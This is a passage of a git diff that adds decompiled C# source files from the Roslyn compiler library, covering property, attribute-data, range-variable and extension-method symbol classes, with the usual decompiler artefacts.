SpecializedCollections.EmptyEnumerable<(MethodSymbol, MethodSymbol)>(); + } + + internal sealed override bool HasInlineArrayAttribute(out int length) + { + length = 0; + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/PropertyEarlyWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/PropertyEarlyWellKnownAttributeData.cs new file mode 100644 index 0000000..3400c6c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/PropertyEarlyWellKnownAttributeData.cs @@ -0,0 +1,21 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class PropertyEarlyWellKnownAttributeData : CommonPropertyEarlyWellKnownAttributeData +{ + private string _indexerName; + + public string IndexerName + { + get + { + return _indexerName; + } + set + { + if (_indexerName == null) + { + _indexerName = value; + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/PropertySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/PropertySymbol.cs new file mode 100644 index 0000000..5cb8e35 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/PropertySymbol.cs @@ -0,0 +1,390 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Linq; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class PropertySymbol : Symbol, IPropertyDefinition, ISignature, ITypeDefinitionMember, ITypeMemberReference, IReference, INamedEntity, IDefinition +{ + private ParameterSignature _lazyParameterSignature; + + MetadataConstant IPropertyDefinition.DefaultValue => null; + + IMethodReference IPropertyDefinition.Getter + { + get + { + MethodSymbol getMethod = AdaptedPropertySymbol.GetMethod; + if ((object)getMethod != null || !AdaptedPropertySymbol.IsSealed) + { + return (IMethodReference)(object)getMethod?.GetCciAdapter(); + } + return GetSynthesizedSealedAccessor((MethodKind)11); + } + } + + bool IPropertyDefinition.HasDefaultValue => false; + + bool IPropertyDefinition.IsRuntimeSpecial => AdaptedPropertySymbol.HasRuntimeSpecialName; + + bool IPropertyDefinition.IsSpecialName => AdaptedPropertySymbol.HasSpecialName; + + ImmutableArray IPropertyDefinition.Parameters => StaticCast.From(AdaptedPropertySymbol.Parameters); + + IMethodReference IPropertyDefinition.Setter + { + get + { + MethodSymbol setMethod = AdaptedPropertySymbol.SetMethod; + if ((object)setMethod != null || !AdaptedPropertySymbol.IsSealed) + { + return (IMethodReference)(object)setMethod?.GetCciAdapter(); + } + return GetSynthesizedSealedAccessor((MethodKind)12); + } + } + + CallingConvention ISignature.CallingConvention => AdaptedPropertySymbol.CallingConvention; + + ushort ISignature.ParameterCount => (ushort)AdaptedPropertySymbol.ParameterCount; + + ImmutableArray ISignature.ReturnValueCustomModifiers => AdaptedPropertySymbol.TypeWithAnnotations.CustomModifiers.As(); + + ImmutableArray ISignature.RefCustomModifiers => AdaptedPropertySymbol.RefCustomModifiers.As(); + + bool ISignature.ReturnValueIsByRef => AdaptedPropertySymbol.RefKind.IsManagedReference(); + + ITypeDefinition ITypeDefinitionMember.ContainingTypeDefinition => (ITypeDefinition)(object)AdaptedPropertySymbol.ContainingType.GetCciAdapter(); + + TypeMemberVisibility ITypeDefinitionMember.Visibility => PEModuleBuilder.MemberVisibility(AdaptedPropertySymbol); + + string INamedEntity.Name => AdaptedPropertySymbol.MetadataName; + + internal PropertySymbol AdaptedPropertySymbol => this; + + internal virtual bool HasRuntimeSpecialName => false; + + public new virtual PropertySymbol OriginalDefinition => this; + + protected sealed override Symbol OriginalSymbolDefinition => OriginalDefinition; + + internal virtual ImmutableArray NotNullMembers => ImmutableArray.Empty; + + internal virtual ImmutableArray NotNullWhenTrueMembers => ImmutableArray.Empty; + + internal virtual ImmutableArray NotNullWhenFalseMembers => ImmutableArray.Empty; + + public bool ReturnsByRef => (int)RefKind == 1; + + public bool ReturnsByRefReadonly => (int)RefKind == 3; + + public abstract RefKind RefKind { get; } + + public abstract TypeWithAnnotations TypeWithAnnotations { get; } + + public TypeSymbol Type => TypeWithAnnotations.Type; + + public abstract ImmutableArray RefCustomModifiers { get; } + + public abstract ImmutableArray Parameters { get; } + + internal int ParameterCount => Parameters.Length; + + internal ImmutableArray ParameterTypesWithAnnotations + { + get + { + ParameterSignature.PopulateParameterSignature(Parameters, ref _lazyParameterSignature); + return _lazyParameterSignature.parameterTypesWithAnnotations; + } + } + + internal ImmutableArray ParameterRefKinds + { + get + { + ParameterSignature.PopulateParameterSignature(Parameters, ref _lazyParameterSignature); + return _lazyParameterSignature.parameterRefKinds; + } + } + + public virtual bool RequiresInstanceReceiver => !IsStatic; + + public abstract bool IsIndexer { get; } + + public virtual bool IsIndexedProperty => false; + + public bool IsReadOnly => (object)((PropertySymbol)this.GetLeastOverriddenMember(ContainingType)).SetMethod == null; + + public bool IsWriteOnly => (object)((PropertySymbol)this.GetLeastOverriddenMember(ContainingType)).GetMethod == null; + + internal abstract bool IsRequired { get; } + + internal virtual bool IsDirectlyExcludedFromCodeCoverage => false; + + internal abstract bool HasSpecialName { get; } + + public abstract MethodSymbol GetMethod { get; } + + public abstract MethodSymbol SetMethod { get; } + + internal abstract CallingConvention CallingConvention { get; } + + internal abstract bool MustCallMethodsDirectly { get; } + + internal abstract bool HasUnscopedRefAttribute { get; } + + public PropertySymbol OverriddenProperty + { + get + { + if (IsOverride) + { + if (base.IsDefinition) + { + return (PropertySymbol)OverriddenOrHiddenMembers.GetOverriddenMember(); + } + return (PropertySymbol)OverriddenOrHiddenMembersResult.GetOverriddenMember(this, OriginalDefinition.OverriddenProperty); + } + return null; + } + } + + internal virtual OverriddenOrHiddenMembersResult OverriddenOrHiddenMembers => this.MakeOverriddenOrHiddenMembers(); + + internal bool HidesBasePropertiesByName => (GetMethod ?? SetMethod)?.HidesBaseMethodsByName ?? false; + + internal virtual bool IsExplicitInterfaceImplementation => ExplicitInterfaceImplementations.Any(); + + public abstract ImmutableArray ExplicitInterfaceImplementations { get; } + + public sealed override SymbolKind Kind => (SymbolKind)15; + + public sealed override bool HasUnsupportedMetadata + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + DiagnosticInfo diagnosticInfo = GetUseSiteInfo().DiagnosticInfo; + bool flag = diagnosticInfo != null; + if (flag) + { + int code = diagnosticInfo.Code; + bool flag2 = ((code == 570 || code == 9041) ? true : false); + flag = flag2; + } + return flag; + } + } + + IEnumerable IPropertyDefinition.GetAccessors(EmitContext context) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol methodSymbol = AdaptedPropertySymbol.GetMethod?.GetCciAdapter(); + if (methodSymbol != null && Extensions.ShouldInclude((ITypeDefinitionMember)(object)methodSymbol, context)) + { + yield return (IMethodReference)(object)methodSymbol; + } + MethodSymbol methodSymbol2 = AdaptedPropertySymbol.SetMethod?.GetCciAdapter(); + if (methodSymbol2 != null && Extensions.ShouldInclude((ITypeDefinitionMember)(object)methodSymbol2, context)) + { + yield return (IMethodReference)(object)methodSymbol2; + } + if (AdaptedPropertySymbol is SourcePropertySymbolBase sourcePropertySymbolBase && Extensions.ShouldInclude((ITypeDefinitionMember)(object)this, context)) + { + SynthesizedSealedPropertyAccessor synthesizedSealedAccessorOpt = sourcePropertySymbolBase.SynthesizedSealedAccessorOpt; + if ((object)synthesizedSealedAccessorOpt != null) + { + yield return (IMethodReference)(object)synthesizedSealedAccessorOpt.GetCciAdapter(); + } + } + } + + [Conditional("DEBUG")] + private void CheckDefinitionInvariantAllowEmbedded() + { + } + + ImmutableArray ISignature.GetParameters(EmitContext context) + { + return StaticCast.From(AdaptedPropertySymbol.Parameters); + } + + ITypeReference ISignature.GetType(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return ((PEModuleBuilder)(PEModuleBuilder)(object)context.Module).Translate(AdaptedPropertySymbol.Type, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + } + + ITypeReference ITypeMemberReference.GetContainingType(EmitContext context) + { + return (ITypeReference)(object)AdaptedPropertySymbol.ContainingType.GetCciAdapter(); + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + visitor.Visit((IPropertyDefinition)(object)this); + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + return (IDefinition)(object)this; + } + + private IMethodReference GetSynthesizedSealedAccessor(MethodKind targetMethodKind) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + if (AdaptedPropertySymbol is SourcePropertySymbolBase { SynthesizedSealedAccessorOpt: var synthesizedSealedAccessorOpt }) + { + if ((object)synthesizedSealedAccessorOpt == null || synthesizedSealedAccessorOpt.MethodKind != targetMethodKind) + { + return null; + } + return (IMethodReference)(object)synthesizedSealedAccessorOpt.GetCciAdapter(); + } + return null; + } + + internal new PropertySymbol GetCciAdapter() + { + return this; + } + + internal PropertySymbol() + { + } + + internal PropertySymbol GetLeastOverriddenProperty(NamedTypeSymbol accessingTypeOpt) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + accessingTypeOpt = accessingTypeOpt?.OriginalDefinition; + PropertySymbol propertySymbol = this; + while (propertySymbol.IsOverride && !propertySymbol.HidesBasePropertiesByName) + { + PropertySymbol overriddenProperty = propertySymbol.OverriddenProperty; + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + if ((object)overriddenProperty == null || ((object)accessingTypeOpt != null && !AccessCheck.IsSymbolAccessible(overriddenProperty, accessingTypeOpt, ref useSiteInfo))) + { + break; + } + propertySymbol = overriddenProperty; + } + return propertySymbol; + } + + internal override TResult Accept(CSharpSymbolVisitor visitor, TArgument argument) + { + return visitor.VisitProperty(this, argument); + } + + public override void Accept(CSharpSymbolVisitor visitor) + { + visitor.VisitProperty(this); + } + + public override TResult Accept(CSharpSymbolVisitor visitor) + { + return visitor.VisitProperty(this); + } + + internal PropertySymbol AsMember(NamedTypeSymbol newOwner) + { + if (!newOwner.IsDefinition) + { + return new SubstitutedPropertySymbol(newOwner as SubstitutedNamedTypeSymbol, this); + } + return this; + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (base.IsDefinition) + { + return new UseSiteInfo(base.PrimaryDependency); + } + return OriginalDefinition.GetUseSiteInfo(); + } + + internal bool CalculateUseSiteDiagnostic(ref UseSiteInfo result) + { + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + if (DeriveUseSiteInfoFromType(ref result, TypeWithAnnotations, AllowedRequiredModifierType.None) || DeriveUseSiteInfoFromCustomModifiers(ref result, RefCustomModifiers, AllowedRequiredModifierType.System_Runtime_InteropServices_InAttribute) || DeriveUseSiteInfoFromParameters(ref result, Parameters)) + { + return true; + } + if (ContainingModule.HasUnifiedReferences) + { + HashSet checkedTypes = null; + DiagnosticInfo result2 = result.DiagnosticInfo; + if (TypeWithAnnotations.GetUnificationUseSiteDiagnosticRecursive(ref result2, this, ref checkedTypes) || Symbol.GetUnificationUseSiteDiagnosticRecursive(ref result2, RefCustomModifiers, this, ref checkedTypes) || Symbol.GetUnificationUseSiteDiagnosticRecursive(ref result2, Parameters, this, ref checkedTypes)) + { + result = result.AdjustDiagnosticInfo(result2); + return true; + } + result = result.AdjustDiagnosticInfo(result2); + } + return false; + } + + protected sealed override bool IsHighestPriorityUseSiteErrorCode(int code) + { + if (code == 570 || code == 9041) + { + return true; + } + return false; + } + + protected sealed override ISymbol CreateISymbol() + { + return (ISymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.PropertySymbol(this); + } + + public override bool Equals(Symbol symbol, TypeCompareKind compareKind) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (!(symbol is PropertySymbol propertySymbol)) + { + return false; + } + if ((object)this == propertySymbol) + { + return true; + } + if (propertySymbol is NativeIntegerPropertySymbol nativeIntegerPropertySymbol) + { + return nativeIntegerPropertySymbol.Equals(this, compareKind); + } + if (TypeSymbol.Equals(ContainingType, propertySymbol.ContainingType, compareKind)) + { + return (object)OriginalDefinition == propertySymbol.OriginalDefinition; + } + return false; + } + + public override int GetHashCode() + { + int num = 1; + num = Hash.Combine(ContainingType, num); + num = Hash.Combine(Name, num); + return Hash.Combine(num, ParameterCount); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/PropertySymbolExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/PropertySymbolExtensions.cs new file mode 100644 index 0000000..12e96cf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/PropertySymbolExtensions.cs @@ -0,0 +1,69 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class PropertySymbolExtensions +{ + public static MethodSymbol? GetOwnOrInheritedGetMethod(this PropertySymbol? property) + { + while ((object)property != null) + { + MethodSymbol getMethod = property.GetMethod; + if ((object)getMethod != null) + { + return getMethod; + } + property = property.OverriddenProperty; + } + return null; + } + + public static MethodSymbol? GetOwnOrInheritedSetMethod(this PropertySymbol? property) + { + while ((object)property != null) + { + MethodSymbol setMethod = property.SetMethod; + if ((object)setMethod != null) + { + return setMethod; + } + property = property.OverriddenProperty; + } + return null; + } + + public static bool CanCallMethodsDirectly(this PropertySymbol property) + { + if (property.MustCallMethodsDirectly) + { + return true; + } + if (property.IsIndexedProperty) + { + if (property.IsIndexer) + { + return property.HasRefOrOutParameter(); + } + return true; + } + return false; + } + + public static bool HasRefOrOutParameter(this PropertySymbol property) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = property.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if ((int)current.RefKind == 1 || (int)current.RefKind == 2) + { + return true; + } + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/PropertyWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/PropertyWellKnownAttributeData.cs new file mode 100644 index 0000000..308ce75 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/PropertyWellKnownAttributeData.cs @@ -0,0 +1,138 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class PropertyWellKnownAttributeData : CommonPropertyWellKnownAttributeData, ISkipLocalsInitAttributeTarget, IMemberNotNullAttributeTarget +{ + private bool _hasDisallowNullAttribute; + + private bool _hasAllowNullAttribute; + + private bool _hasMaybeNullAttribute; + + private bool _hasNotNullAttribute; + + private bool _hasSkipLocalsInitAttribute; + + private bool _hasUnscopedRefAttribute; + + private ImmutableArray _memberNotNullAttributeData = ImmutableArray.Empty; + + private ImmutableArray _memberNotNullWhenTrueAttributeData = ImmutableArray.Empty; + + private ImmutableArray _memberNotNullWhenFalseAttributeData = ImmutableArray.Empty; + + public bool HasDisallowNullAttribute + { + get + { + return _hasDisallowNullAttribute; + } + set + { + _hasDisallowNullAttribute = value; + } + } + + public bool HasAllowNullAttribute + { + get + { + return _hasAllowNullAttribute; + } + set + { + _hasAllowNullAttribute = value; + } + } + + public bool HasMaybeNullAttribute + { + get + { + return _hasMaybeNullAttribute; + } + set + { + _hasMaybeNullAttribute = value; + } + } + + public bool HasNotNullAttribute + { + get + { + return _hasNotNullAttribute; + } + set + { + _hasNotNullAttribute = value; + } + } + + public bool HasSkipLocalsInitAttribute + { + get + { + return _hasSkipLocalsInitAttribute; + } + set + { + _hasSkipLocalsInitAttribute = value; + } + } + + public bool HasUnscopedRefAttribute + { + get + { + return _hasUnscopedRefAttribute; + } + set + { + _hasUnscopedRefAttribute = value; + } + } + + public ImmutableArray NotNullMembers => _memberNotNullAttributeData; + + public ImmutableArray NotNullWhenTrueMembers => _memberNotNullWhenTrueAttributeData; + + public ImmutableArray NotNullWhenFalseMembers => _memberNotNullWhenFalseAttributeData; + + public void AddNotNullMember(string memberName) + { + _memberNotNullAttributeData = _memberNotNullAttributeData.Add(memberName); + } + + public void AddNotNullMember(ArrayBuilder memberNames) + { + _memberNotNullAttributeData = _memberNotNullAttributeData.AddRange((IEnumerable)memberNames); + } + + public void AddNotNullWhenMember(bool sense, string memberName) + { + if (sense) + { + _memberNotNullWhenTrueAttributeData = _memberNotNullWhenTrueAttributeData.Add(memberName); + } + else + { + _memberNotNullWhenFalseAttributeData = _memberNotNullWhenFalseAttributeData.Add(memberName); + } + } + + public void AddNotNullWhenMember(bool sense, ArrayBuilder memberNames) + { + if (sense) + { + _memberNotNullWhenTrueAttributeData = _memberNotNullWhenTrueAttributeData.AddRange((IEnumerable)memberNames); + } + else + { + _memberNotNullWhenFalseAttributeData = _memberNotNullWhenFalseAttributeData.AddRange((IEnumerable)memberNames); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/QuickAttributeChecker.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/QuickAttributeChecker.cs new file mode 100644 index 0000000..e2fade4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/QuickAttributeChecker.cs @@ -0,0 +1,104 @@ +using System; +using System.Collections.Generic; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class QuickAttributeChecker +{ + private readonly Dictionary _nameToAttributeMap; + + private static QuickAttributeChecker _lazyPredefinedQuickAttributeChecker; + + internal static QuickAttributeChecker Predefined + { + get + { + if (_lazyPredefinedQuickAttributeChecker == null) + { + Interlocked.CompareExchange(ref _lazyPredefinedQuickAttributeChecker, CreatePredefinedQuickAttributeChecker(), null); + } + return _lazyPredefinedQuickAttributeChecker; + } + } + + private static QuickAttributeChecker CreatePredefinedQuickAttributeChecker() + { + QuickAttributeChecker quickAttributeChecker = new QuickAttributeChecker(); + quickAttributeChecker.AddName(AttributeDescription.TypeIdentifierAttribute.Name, QuickAttributes.TypeIdentifier); + quickAttributeChecker.AddName(AttributeDescription.TypeForwardedToAttribute.Name, QuickAttributes.TypeForwardedTo); + quickAttributeChecker.AddName(AttributeDescription.AssemblyKeyNameAttribute.Name, QuickAttributes.AssemblyKeyName); + quickAttributeChecker.AddName(AttributeDescription.AssemblyKeyFileAttribute.Name, QuickAttributes.AssemblyKeyFile); + quickAttributeChecker.AddName(AttributeDescription.AssemblySignatureKeyAttribute.Name, QuickAttributes.AssemblySignatureKey); + return quickAttributeChecker; + } + + private QuickAttributeChecker() + { + _nameToAttributeMap = new Dictionary(StringComparer.Ordinal); + } + + private QuickAttributeChecker(QuickAttributeChecker previous) + { + _nameToAttributeMap = new Dictionary(previous._nameToAttributeMap, StringComparer.Ordinal); + } + + private void AddName(string name, QuickAttributes newAttributes) + { + QuickAttributes value = QuickAttributes.None; + _nameToAttributeMap.TryGetValue(name, out value); + QuickAttributes value2 = newAttributes | value; + _nameToAttributeMap[name] = value2; + } + + internal QuickAttributeChecker AddAliasesIfAny(SyntaxList usingsSyntax, bool onlyGlobalAliases = false) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + if (usingsSyntax.Count == 0) + { + return this; + } + QuickAttributeChecker quickAttributeChecker = null; + Enumerator enumerator = usingsSyntax.GetEnumerator(); + while (enumerator.MoveNext()) + { + UsingDirectiveSyntax current = enumerator.Current; + if (current.Alias != null && current.Name != null && (!onlyGlobalAliases || current.GlobalKeyword.IsKind(SyntaxKind.GlobalKeyword))) + { + SyntaxToken identifier = current.Alias.Name.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + identifier = current.Name.GetUnqualifiedName().Identifier; + string valueText2 = ((SyntaxToken)(ref identifier)).ValueText; + if (_nameToAttributeMap.TryGetValue(valueText2, out var value)) + { + (quickAttributeChecker ?? (quickAttributeChecker = new QuickAttributeChecker(this))).AddName(valueText, value); + } + } + } + if (quickAttributeChecker != null) + { + return quickAttributeChecker; + } + return this; + } + + public bool IsPossibleMatch(AttributeSyntax attr, QuickAttributes pattern) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = attr.Name.GetUnqualifiedName().Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + if (_nameToAttributeMap.TryGetValue(valueText, out var value) || _nameToAttributeMap.TryGetValue(valueText + "Attribute", out value)) + { + return (value & pattern) != 0; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/QuickAttributeHelpers.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/QuickAttributeHelpers.cs new file mode 100644 index 0000000..8384d59 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/QuickAttributeHelpers.cs @@ -0,0 +1,50 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class QuickAttributeHelpers +{ + public static QuickAttributes GetQuickAttributes(string name, bool inAttribute) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + QuickAttributes quickAttributes = QuickAttributes.None; + if (matches(AttributeDescription.TypeIdentifierAttribute)) + { + quickAttributes |= QuickAttributes.TypeIdentifier; + } + else if (matches(AttributeDescription.TypeForwardedToAttribute)) + { + quickAttributes |= QuickAttributes.TypeForwardedTo; + } + else if (matches(AttributeDescription.AssemblyKeyNameAttribute)) + { + quickAttributes |= QuickAttributes.AssemblyKeyName; + } + else if (matches(AttributeDescription.AssemblyKeyFileAttribute)) + { + quickAttributes |= QuickAttributes.AssemblyKeyFile; + } + else if (matches(AttributeDescription.AssemblySignatureKeyAttribute)) + { + quickAttributes |= QuickAttributes.AssemblySignatureKey; + } + return quickAttributes; + bool matches(AttributeDescription attributeDescription) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + if (name == attributeDescription.Name) + { + return true; + } + if (inAttribute && name.Length + "Attribute".Length == attributeDescription.Name.Length && attributeDescription.Name.StartsWith(name)) + { + return true; + } + return false; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/QuickAttributes.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/QuickAttributes.cs new file mode 100644 index 0000000..692155d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/QuickAttributes.cs @@ -0,0 +1,15 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +[Flags] +internal enum QuickAttributes : byte +{ + None = 0, + TypeIdentifier = 1, + TypeForwardedTo = 2, + AssemblyKeyName = 4, + AssemblyKeyFile = 8, + AssemblySignatureKey = 0x10, + Last = 0x10 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/RangeVariableSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/RangeVariableSymbol.cs new file mode 100644 index 0000000..ec5e70d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/RangeVariableSymbol.cs @@ -0,0 +1,127 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal class RangeVariableSymbol : Symbol +{ + private readonly string _name; + + private readonly Location? _location; + + private readonly Symbol _containingSymbol; + + internal bool IsTransparent { get; } + + public override string Name => _name; + + public override SymbolKind Kind => (SymbolKind)16; + + public override ImmutableArray Locations + { + get + { + if (_location != null) + { + return ImmutableArray.Create(_location); + } + return ImmutableArray.Empty; + } + } + + public override ImmutableArray DeclaringSyntaxReferences + { + get + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + if (_location == null) + { + return ImmutableArray.Empty; + } + SyntaxNode root = _location.SourceTree.GetRoot(default(CancellationToken)); + TextSpan sourceSpan = _location.SourceSpan; + SyntaxToken val = root.FindToken(((TextSpan)(ref sourceSpan)).Start, false); + return ImmutableArray.Create(((SyntaxToken)(ref val)).Parent.GetReference()); + } + } + + public override bool IsExtern => false; + + public override bool IsSealed => false; + + public override bool IsAbstract => false; + + public override bool IsOverride => false; + + public override bool IsVirtual => false; + + public override bool IsStatic => false; + + internal sealed override ObsoleteAttributeData? ObsoleteAttributeData => null; + + public override Accessibility DeclaredAccessibility => (Accessibility)0; + + public override Symbol ContainingSymbol => _containingSymbol; + + internal RangeVariableSymbol(string Name, Symbol containingSymbol, Location? location, bool isTransparent = false) + { + _name = Name; + _containingSymbol = containingSymbol; + _location = location; + IsTransparent = isTransparent; + } + + public override Location? TryGetFirstLocation() + { + return _location; + } + + internal override TResult Accept(CSharpSymbolVisitor visitor, TArg a) + { + return visitor.VisitRangeVariable(this, a); + } + + public override void Accept(CSharpSymbolVisitor visitor) + { + visitor.VisitRangeVariable(this); + } + + public override TResult Accept(CSharpSymbolVisitor visitor) + { + return visitor.VisitRangeVariable(this); + } + + public override bool Equals(Symbol obj, TypeCompareKind compareKind) + { + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + if ((object)obj == this) + { + return true; + } + if (_location == null) + { + return false; + } + if (obj is RangeVariableSymbol rangeVariableSymbol && ((object)_location).Equals((object?)rangeVariableSymbol._location)) + { + return _containingSymbol.Equals(rangeVariableSymbol.ContainingSymbol, compareKind); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(((object)_location)?.GetHashCode() ?? 0, _containingSymbol.GetHashCode()); + } + + protected override ISymbol CreateISymbol() + { + return (ISymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.RangeVariableSymbol(this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ReducedExtensionMethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ReducedExtensionMethodSymbol.cs new file mode 100644 index 0000000..5cd513c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ReducedExtensionMethodSymbol.cs @@ -0,0 +1,515 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Globalization; +using System.Linq; +using System.Reflection; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class ReducedExtensionMethodSymbol : MethodSymbol +{ + private sealed class ReducedExtensionMethodParameterSymbol : WrappedParameterSymbol + { + private readonly ReducedExtensionMethodSymbol _containingMethod; + + public override Symbol ContainingSymbol => _containingMethod; + + public override int Ordinal => _underlyingParameter.Ordinal - 1; + + public override TypeWithAnnotations TypeWithAnnotations => 